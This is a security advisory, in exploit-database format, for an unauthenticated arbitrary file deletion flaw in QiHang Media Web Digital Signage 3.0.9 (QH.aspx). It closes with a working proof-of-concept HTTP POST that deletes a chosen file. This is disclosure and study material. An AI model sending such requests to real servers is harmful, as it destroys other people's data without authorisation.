# Exploit Title: QiHang Media Web Digital Signage 3.0.9 - Unauthenticated Arbitrary File Deletion
# Date: 2020-08-12
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.howfor.com
# Tested on: Microsoft Windows Server 2012 R2 Datacenter
# CVE : N/A
QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Unauthenticated Arbitrary File Deletion
Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0
Summary: Digital Signage Software.
Desc: Input passed to the 'data' parameter in 'QH.aspx' for delete action
is not properly sanitised before being used to delete files. This can be
exploited by an unauthenticated attacker to delete files with the permissions
of the web server using their absolute path or via directory traversal
sequences passed within the affected POST parameter.
Tested on: Microsoft Windows Server 2012 R2 Datacenter
Microsoft Windows Server 2003 Enterprise Edition
ASP.NET 4.0.30319
HowFor Web Server/5.6.0.0
Microsoft ASP.NET Web QiHang IIS Server
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5580
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5580.php
27.07.2020
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POST /QH.aspx HTTP/1.1
Host: 192.168.1.74:8090
Content-Length: 105
User-Agent: Eraser
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://192.168.1.74:8090
Referer: http://192.168.1.74:8090/index.htm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
responderId=ResourceNewResponder&action=delete&data=["/opt/resources/Billboard.jpg"]
